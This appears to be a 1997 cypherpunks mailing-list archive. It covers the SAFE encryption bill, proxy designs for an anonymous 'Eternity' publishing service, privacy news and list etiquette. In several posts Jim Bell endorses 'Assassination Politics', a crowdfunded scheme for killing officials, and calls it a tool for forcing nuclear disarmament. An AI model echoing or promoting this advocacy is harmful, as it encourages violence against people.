>>remind that journalist that her false impression is the real problem, not
>>crypto.
>
>I believe you are incorrect that AP would force dismantling of nukes, for
>reasons I am weary of repeating (you repeat your matra, I repeat mine),

Well, you're entitled to be wrong!  B^)

I have always been willing to defend my assertion, and since it hasn't been
discussed recently I think it's not too soon to rehash, as weary as you may be.

Assuming AP works in particular, and crypto-anarchy works in general, both
will work to  reduce and minimize the "height" and size of government
entities everywhere. Looked at from a cost/benefit standpoint, since nuclear
weapons are generally of a certain minimum size and cost, they only "work"
if the enemy is sufficiently numerous and segregated from the non-enemy
populace to make attack with a large bomb effective.  Reduce the size of the
largest government unit, and it's harder to find a useful target, thus
reducing the benefit of owning nukes.   Also, if an AP system were available
to an individual or group that previously owned nukes, it would be a far
more economical (and specific) tool to defend itself from enemies of a
certain limited size.  (you can't nuke a terrorist cell, for instance, at
least not without making far more enemies than you originally had.)

At some point, nukes will become far "larger" a weapon than any owner can
reasonably use, and at that point he will disassemble it due to sheer
uselessness.   (if you don't believe that the average size of the potential
nuke-owners will get smaller, then you obviously don't believe in AP and/or
crypto-anarchy!)

AP dramatically increases the "cost" of owning nukes as well:   If I were
free to do so, I'd be happy to donate money to help force the few
nuke-owners to dismantle their bombs.  Assuming more than a small fraction
of the population is sympathetic to this use of AP (and even if they
generally would oppose other uses) this will work.  Nukes won't be useful to
"fight back" against AP and/or crypto-anarchy, and in fact threatening their
use will do nothing except strength the argument in favor of the development
and use of AP as an anti-nuke tool.

Generally, in order to claim that a fully-functioning AP system WON'T
dismantle all nukes, you've got to be able to postulate the kind of
nuke-owning organization that could survive in a post-AP world, and further
suggest what reason that organization would have to own them.


> but
>I agree that serious discussion of such game-theoretic issues is just too
>scary, too extreme, too un-American for almost everyone.

You'd be surprised.  Since having had at least my second "15 minutes of
fame" locally, I've had many discussions of the AP concept with average
citizens.  Admittedly, many of them were no more familiar with the
cryptographic details than you might expect, so they pretty much accepted
that part of the proposal as a given.  However, every one of them seemed to
accept the idea that if my system would do, generally, what it appears to do
from first principles, the conclusion that it would shut down militaries and
dismantle nukes follows directly.  

Jim Bell
jimbell at pacifier.com






From shamrock at netcom.com  Wed Apr 30 20:17:34 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 1 May 1997 11:17:34 +0800
Subject: Rejecting Dialog with Government Vermin
Message-ID: <3.0.32.19970430190055.0074e8a4@netcom13.netcom.com>


At 08:40 AM 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

The pruning mechanism was put in by the Founding Fathers in form of the
Second Amendment. The problem was that the People decided they wanted to
give up the pruning mechanism for some (perceived) temporary safety.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From das at razor.engr.sgi.com  Wed Apr 30 20:38:00 1997
From: das at razor.engr.sgi.com (Anil Das)
Date: Thu, 1 May 1997 11:38:00 +0800
Subject: mainstream media corruption same as govt
In-Reply-To: <199705010033.RAA29721@netcom7.netcom.com>
Message-ID: <9704302023.ZM15577@razor.engr.sgi.com>


On Apr 30,  5:33pm, Vladimir Z. Nuri wrote:
>
> the crack cocaine situation in LA is a good example of how the truth
> is buried by the media. a maverick newspaper reports something close to the
> truth and the cia-manipulated mouthpieces around the country pile on
> the journalist and the newspaper in a barrage of picks that choke the
> truth in clouds of smoke.

	One can hardly call the Mercury News a maverick newspaper.
Their slant is pretty much establishment most of the time.

--
Anil Das






From jimbell at pacifier.com  Wed Apr 30 20:40:58 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:40:58 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <199705010328.UAA19133@mail.pacifier.com>


At 17:19 4/30/97 -0800, Tim May wrote:
>(A copy of this message has also been posted to the following newsgroups:
>alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)
>CDT and other Washington insider groups are busily singing the praises of
>the SAFE encryption bill, despite some acknowledged "minor flaws."
>
>Well, the flaws are not minor. The bill does not give Americans any rights
>they do not already have, and does not ease export of strong crypto in any
>meaningful way. In fact, the bill contains odd language implying it is
>essentially only financial software which is easier to export, and then
>only if the receiving country (huh?) allows it...since when is the duty of
>U.S. Customs to pass products for export based on whether Baluchistan, for
>example, wants the product?

I agree with everything you've said, here.  SAFE is truly awful if it
attempts to make use of encryption illegal.  Prosecuting the underlying
crime, if a crime was done, should be considered more than enough.

The thugs are afraid of getting whacked.


Jim Bell
jimbell at pacifier.com






From jimbell at pacifier.com  Wed Apr 30 20:42:51 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:42:51 +0800
Subject: Rejecting Dialog with Government Vermin
Message-ID: <199705010328.UAA19126@mail.pacifier.com>


At 23:07 4/29/97 -0700, Kent Crispin wrote:

>3) There is no serious flaw -- the current government isn't as
>bad as we claim.  Or, put another way, the evils we see are a function
>of size of government, and size of government is more a function of
>population than anything else -- the larger the population, the 
>larger the government.
>
>I think that strong arguments could be made for any of these, though #3 
>would be shouted down in this forum.

I disagree that a "strong argument" could be made for item #3.  Sure, some
people would strenuously ATTEMPT to make that argument, but they would fail
miserably.  

I feel confident that a statistical analysis of various countries'
governments would reveal a wide scatter in the relationship between
population and government size.  One of the main factors in this scatter is
simply the amount that government has decided to butt into activities that
could (and should) be privatized.   Another is the amount that the
government steals from one group in order to reliably receive the votes of
some other group.

Population size would end up being a very poor determinant of government size.




Jim Bell
jimbell at pacifier.com






From declan at well.com  Wed Apr 30 21:03:29 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 1 May 1997 12:03:29 +0800
Subject: Problems with SAFE bill
Message-ID: 


I've received a few comments along the lines of "Why are you supporting
the SAFE bill?" Here's my post to f-c about it from last week that might
give some background. In short, I think this legislation is not good.

-Declan

(I sometimes forget to send f-c posts to cypherpunks, even when they're
on-topic. If you want to join, subscription info is at the end.)


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 18:17:09 -0400
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel at epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From aba at dcs.ex.ac.uk  Wed Apr 30 21:58:24 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 1 May 1997 12:58:24 +0800
Subject: Eternity service proxies
Message-ID: <199705010441.FAA00950@server.test.net>



[btw what do people think of the practice of putting To: cypherpunks,
and Bcc: coderpunks at toad, cryptography at c2 as I have done here?  I do
this for stuff when I'm interested in comments of people who are on
cryptography but not cypherpunks, similarly for coderpunks to avoid
the non-crossposting issue with coderpunks, and avoid extra moderation
work for Perry with cryptography.  I know you get multiple copies if
you're on all lists, how else does one reach you all?  Myself I have a
procmail recipie which junks multiple copies, like:

:0 Wh: msgid.lock
| formail -D 128000 msgid.cache

]

My announce was rather hurried, and someone suggested to me the use of
a proxy as an architecture for interfacing to the eternity service
rather than the cgi based system I have.

The person who suggested this to me also described some work on a
"universal proxy framework" which is designed to enable things like
"cookie-cutting, onion routing etc."  Also it was suggested this is a
cheaper way to implement a proxy.

Here are some comments on possible architectures for an eternity
service.

There are a number of places where one might put a eternity server:

  - cgi script on your ISP for yourself and others to use

  - cgi script and local web server on your dial up linux box

  - standalone eternity proxy running on an ISP

  - local proxy

  - proxy framework module (local or remote? does it support both)

  - apache module "eternity proxy module"

  - browser plugin (if this has the power to do it)

My ideal interface would have been a web proxy, as this allows the
user to transparently integrate this into their browser.  You may be
able to set your browser to use the proxy to handle *.eternity, and
have the rest go direct, but I'm not so sure on this point.
Regardless, the proxy can forward requests as cacheing proxies do for
documents not in *.eternity.

My first consideration was to get a proof of concept going as quickly
as possible.  What you are looking at is a weekend hack + 3 days
debugging and cleaning up.

Proxies have higher user requirements to set up, you need root, or at
least ability to leave processes running indefinately, and some
mechanism to restart them on reboot (or do it manually).

My cgi-bin implementation allows you to run with cgi access, and cron,
or at a pinch to do without cron even.

Local proxies have higher development costs, in that it involves
windows code to be of use for the majority of users, which has much
higher development cost.  The universal proxy framework (which I am
not familiar with) would allow a local proxy to be implemented more
easily if I understand correctly.

Local handling of at least the last layer of decryption would help
from a security point of view.  Or the local proxy could be a full
eternity server for your own use.

The ones I've made possible with my cgi based implementation are the
first two, I chose them over proxies simply because they are the
easiest to implement first.

Basically what I have implemented is a poor mans remote proxy or (with
a local webserver) a poor unix person's local proxy.  You give it URLs
of the form:

  http://www.foo.com/cgi-bin/eternity?url=http://blah.eternity/blah/

The cgi script modifies on the fly URLs in documents (if they are type
text/html) and involve *.eternity to have prefix:

  cgi-bin/eternity?url=

Well actually it copes with local, and site relative urls also (where
site is the eternity virtual site).  Normal URLs are left as is.

Proxy is the more elegant way to do it as you don't have to re-write
urls on the fly.

There are advantages to running the server (proxy or otherwise) on an
ISP rather than locally:

- if you're using the cgi solution and an SSL web server you get SSL
  encryption on the link.  This way people don't get to see your
  requests, if they are handled locally by your ISP from it's news
  spool.

- it has lower bandwidth requirements which may be an advantage, as
  you don't have to down load all the eternity documents, only the ones
  you want to read as you browse them

- if the eternity server is running on your ISP and the ISP has a
  local newspool people outside the ISP can not see your requests go
  to the NNTP server to see which articles you are reading.

There are some advantages to local proxies:

- you don't rely on the ISP or the eternity service operator not to
  log exdirectory URLs, and not to log your accesses.  (However note
  that your ISP can observe your use of the NNTP server, unless you
  protect against this by saving all eternity web pages locally, so
  that you never have to do a NNTP lookup per article).

- if you are accessing URLs which are private (encrypted with a
  password inside the final layer) you don't need to give this
  password to the server to get it to decrypt for you.  (You don't
  need to with the remote proxy, but you get back a PGP message which
  you then have to manually decrypt, unless you can figure out a
  browser plugin to automatically decrypt PGP documents on the fly as
  they are read).

A local proxy used in combination with remote proxy or cgi-proxy would
allow another architecture.  Your local proxy obtains it's article
hash -> message-id/newsgroup/article-number database from a real
remote eternity proxy which is watching news as it comes in.

Then it can fetch the articles itself with lower overhead.

Another architecture (moving more towards Anderson's meaning of an
eternity service) is the idea of forwarding requests between eternity
servers.  In this way the eternity servers would be "remailing" your
requests.  If your entry point into the eternity service network was
via an SSL protected link, and the links between the eternity servers
were encrypted, the eternity servers as a whole would disguise who was
accessing what.  You could allow proxying of normal web pages too, and
create a distributed version of anonymizer.com as a side effect.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


It's been a busy day for privacy issues in the Oakland Trib.

Surveillance Cameras in Oakland
-------------------------------
Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit
TV system for watching people in public places.  The three picknickers
didn't litter, but the camera mounted on the public library building could
zoom in enough to that the council could tell a ham sandwich from roast beef,
and whether the two joggers were wearing Nikes or Reeboks.
"Anybody who is a law-abiding citizen is not going to be concerned about
this..
"When I'm out in a public place.... I don't have an expectation of privacy"
said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run
in his district, where residents have bars on their windows and are afraid
to go out at night.  Police Chief Joseph Samuels likes it too.
"This is technology spying on our citizens from camera on light poles"
said John Crew of the ACLU police practices project, speaking against it.
Bay Alarm said that some British cities have dealt with privacy fears by
setting up monitoring centers away from city and police offices,
where tapes are kept in case a crime occurs -- crime victims can call up
the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
The camera systems are also capable of taking pictures in the dark.

Personnel Data Theft Plaguing U.S. Firms
---------------------------------------
Levi Strauss & Co. recently had a disk drive stolen from an office computer.
It had background information on over 20,000 current and former employees,
including names, addresses, SSNs, birthdates, and bank account numbers.
It appeared to be just a crude theft of the $500 hardware, rather than 
somebody trying to steal the information itself, and is "not likely" to be 
used fraudulently because it's "written in a language difficult to decode",
but the affected employees have been notified.  Dave Banisar of EPIC is 
one of the various experts quoted.

Insiders Chip In for FileGate Fall Guy Defense
----------------------------------------------
Remember FileGate, with the White House accessing confidential 
background files of hundreds of Republican Administration workers?  
Remember Craig Livingstone, White House staffer who resigned after 
it was revealed that his office was responsible for it?
Well, he was never charged with anything, but he had about $9550 in 
legal expenses to advise him when he talked to Congress,
and apparently 55 of his good friends decided to help him out.
Hillary Clinton's chief of staff gave $50, Bill Clinton's golf partner
Vernon Jordan gave $250, D.C.City Council member Charlene Davis gave $100,
and overall it averaged out to about $200 per insider.
Petty cash, perhaps, but it goes to show you the Clinton Administration's
attitudes toward violation of privacy and abuse of power.
Needless to say, the Associated Press story was a bit more balanced in tone
than my summary here :-)


----
And in other news, San Leandro High School students, mostly the drama club,
led a protest against against a proposed school board policy that would ban
profanity, obscenity, libel, or slanderous speech in school-produced
publications and productions.  (Out, Out,  spot!)
"We want to be able to have the plays we've had in the past", said Sean
Givens.
"We're not doing profanity, we're doing ideas."  Last year the drama 
department canceled a production of "The Breakfast Club", though it was
allowed to go on with modified language.

And Mike Royko died.  The world will be a quieter place without him.
He'll be missed.  


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From NOSPAM-geeman at best.com  Wed Apr 30 22:40:12 1997
From: NOSPAM-geeman at best.com (geeman)
Date: Thu, 1 May 1997 13:40:12 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <3.0.32.19970430221915.006abb08@best.com>


At 05:19 PM 4/30/97 -0800, Tim May wrote:
..elided..
>
>""�2804. Prohibition on mandatory key escrow
>
>"(a) PROHIBITION. -- No person in lawful possession of a key to encrypted
>information may be required by Federal or State law to relinquish to
>another person control of that key. 
>"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
>shall not affect the authority of any investigative or law
>enforcement officer, under any law in effect on the effective date of this
>chapter, to gain access to a key to encrypted information. "
>
>Sounds good...a ban on key escrow, right? No, because "EXCEPTION FOR ACCESS
>FOR LAW ENFORCEMENT PURPOSES" could easily be used to mandage key escrow.
>After all, even Louis Freeh and Dorothy Denning have never argued that key
>escrow is for use by non-law enforcement!
>

I'd like to point out that the key phrase in there seems to be 
"under any law in effect on the effective date of this chapter"  -- altho
it's gobbledegooked,
the intent seems to say "if there is no law in effect mandating GAK when
this bill becomes
law, there can never be a law passed which does"  Or in other words, it has
the effect of making
GAK no better, or worse, than under current law, while preventing passage
of GAK laws in the future.







From das at razor.engr.sgi.com  Wed Apr 30 23:01:57 1997
From: das at razor.engr.sgi.com (Anil Das)
Date: Thu, 1 May 1997 14:01:57 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <3.0.32.19970430221915.006abb08@best.com>
Message-ID: <9704302248.ZM15901@razor.engr.sgi.com>


On Apr 30, 10:23pm, geeman wrote:
> Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
>
> I'd like to point out that the key phrase in there seems to be
> "under any law in effect on the effective date of this chapter"  -- altho
> it's gobbledegooked,
> the intent seems to say "if there is no law in effect mandating GAK when
> this bill becomes
> law, there can never be a law passed which does"  Or in other words, it has
> the effect of making
> GAK no better, or worse, than under current law, while preventing passage
> of GAK laws in the future.

	Agreed, except for one subtle correction. Congress cannot
make a law saying a future congress cannot make such and such a law,
because the future congress can always repeal, amend or override the
old law. So, what this section does is to make GAK through an
executive order impossible.

--
Anil Das






From frantz at netcom.com  Wed Apr 30 23:04:28 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 1 May 1997 14:04:28 +0800
Subject: House subcom. passes crypto bill, USDoJ letter to panel
In-Reply-To: 
Message-ID: 


At 4:36 PM -0700 4/30/97, Declan McCullagh quoted:
>	... threats posed by terrorists, organized
>	crime, child pornographers, drug cartels,
>	financial predators, hostile foreign
>	intelligence agents, and other criminals.
>       ...
>
>	Andrew Fois
>	Assistant Attorney General
>        Office of Legislative Affairs
>        U.S. Department of Justice

Wow!  The four horsemen are now eight (or more).


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From tcmay at got.net  Wed Apr 30 23:26:01 1997
From: tcmay at got.net (Tim May)
Date: Thu, 1 May 1997 14:26:01 +0800
Subject: Why I delete cc;s to other mailing lists
In-Reply-To: <199705010441.FAA00950@server.test.net>
Message-ID: 


At 8:41 PM -0800 4/30/97, Adam Back wrote:
>[btw what do people think of the practice of putting To: cypherpunks,
>and Bcc: coderpunks at toad, cryptography at c2 as I have done here?  I do
>this for stuff when I'm interested in comments of people who are on
>cryptography but not cypherpunks, similarly for coderpunks to avoid
>the non-crossposting issue with coderpunks, and avoid extra moderation
>work for Perry with cryptography.  I know you get multiple copies if
>you're on all lists, how else does one reach you all?  Myself I have a
>procmail recipie which junks multiple copies, like:

I once unintentionally forgot to delete the "cryptography at c2.net" cc: on a
reply I made to what (I assumed) was a Cypherpunks message, and received a
Perrygram stating that my message was off-topic and was not welcome on his
list.

Clearly Perry has the right to run _his_ list any way he wishes to, just as
Declan has the right to run _his_ list any way he wishes to, just as Bob
Hettinga has the right to run _his_ list (or lists) as he wishes, and just
as Lewis McCarthy has the right to the run _his_ "Coderpunks" list as he
wishes, and so on.

However, I think these "personal" lists are not to my taste, I don't want
Perry or Declan or Bob or Lewis deciding whether my articles match their
interests at the time I submit an article.

I routinely delete all of the cc:s to other lists, figuring if people want
to read my stuff they can damn well subscribe to the Real Thing, the
Cypherpunks list. No censorship (modulo the John and Sandy Show in
Jan-Feb), and no control freaks trying to limit discussion to the things
that happen to interest them that week.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shamrock at netcom.com  Wed Apr 30 23:41:59 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 1 May 1997 14:41:59 +0800
Subject: Eternity service proxies
Message-ID: <3.0.32.19970430232407.007181c8@netcom13.netcom.com>


At 05:41 AM 5/1/97 +0100, Adam Back wrote:
>
>[btw what do people think of the practice of putting To: cypherpunks,
>and Bcc: coderpunks at toad, cryptography at c2 as I have done here? 

Works for me.
[...]
>My announce was rather hurried, and someone suggested to me the use of
>a proxy as an architecture for interfacing to the eternity service
>rather than the cgi based system I have.
>
>The person who suggested this to me also described some work on a
>"universal proxy framework" which is designed to enable things like
>"cookie-cutting, onion routing etc."  Also it was suggested this is a
>cheaper way to implement a proxy.
[...]

This is true for some value of cheaper. The proxy framework provides
services to the proxylets. Therefore it is cheaper to write a proxylet than
it is to write a proxy. However, the advantages of using a proxy framework
to enable multiple local proxies are not limited to reducing the work
effort of the proxylet author. The framework also would provide
registration services, which are pretty much a requirement for dynamically
loadable proxylets to exist on a machine without requiring user intervention.

After all, the proxies have to operate in a certain order to be functional.
This order would be hard to achieve without the proxies knowing about each
other. And since the proxies almost by definition have no idea what is
happening on the other side of that socket (or however you want to
implement the proxy-to-proxy interface), somebody needs to watch over them
to make sure they get used in the right sequence.

To give an example of a machine with a moderate number of client side
proxies, you might have

1. A DNS resolver proxy that intercepts the *.eternity TLD's.
2. The actual Eternity proxy that builds the NNTP requests.
3. A crypto proxy that encrypts the NNTP requests between the localhost and
a suitable NNTP server.
4. An Onion Router/Pipe-net/jondo proxy that allows for anonymous access of
the NNTP server.

And that's just for the Eternity service. Add to this a POP/SMTP proxy that
automatically encrypts/decrypts all mail, an https proxy that beefs up 40
bit SSL to 128 bits, a proxy that provides for on the fly decryption of
webpages that are _stored_ encrypted, and before you know it you have ten
proxies on a machine that all have to be used in a specific order.

Ten proxies that have no way of knowing about each other. A proxy framework
soon becomes a requirement.

>My ideal interface would have been a web proxy, as this allows the
>user to transparently integrate this into their browser.  You may be
>able to set your browser to use the proxy to handle *.eternity, and
>have the rest go direct, but I'm not so sure on this point.

Sure. The user should never have to use special tools to access
information. That's the beauty of using proxies. You use a standard browser
as front end. All the rest is taken care of transparently by the proxies.


-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi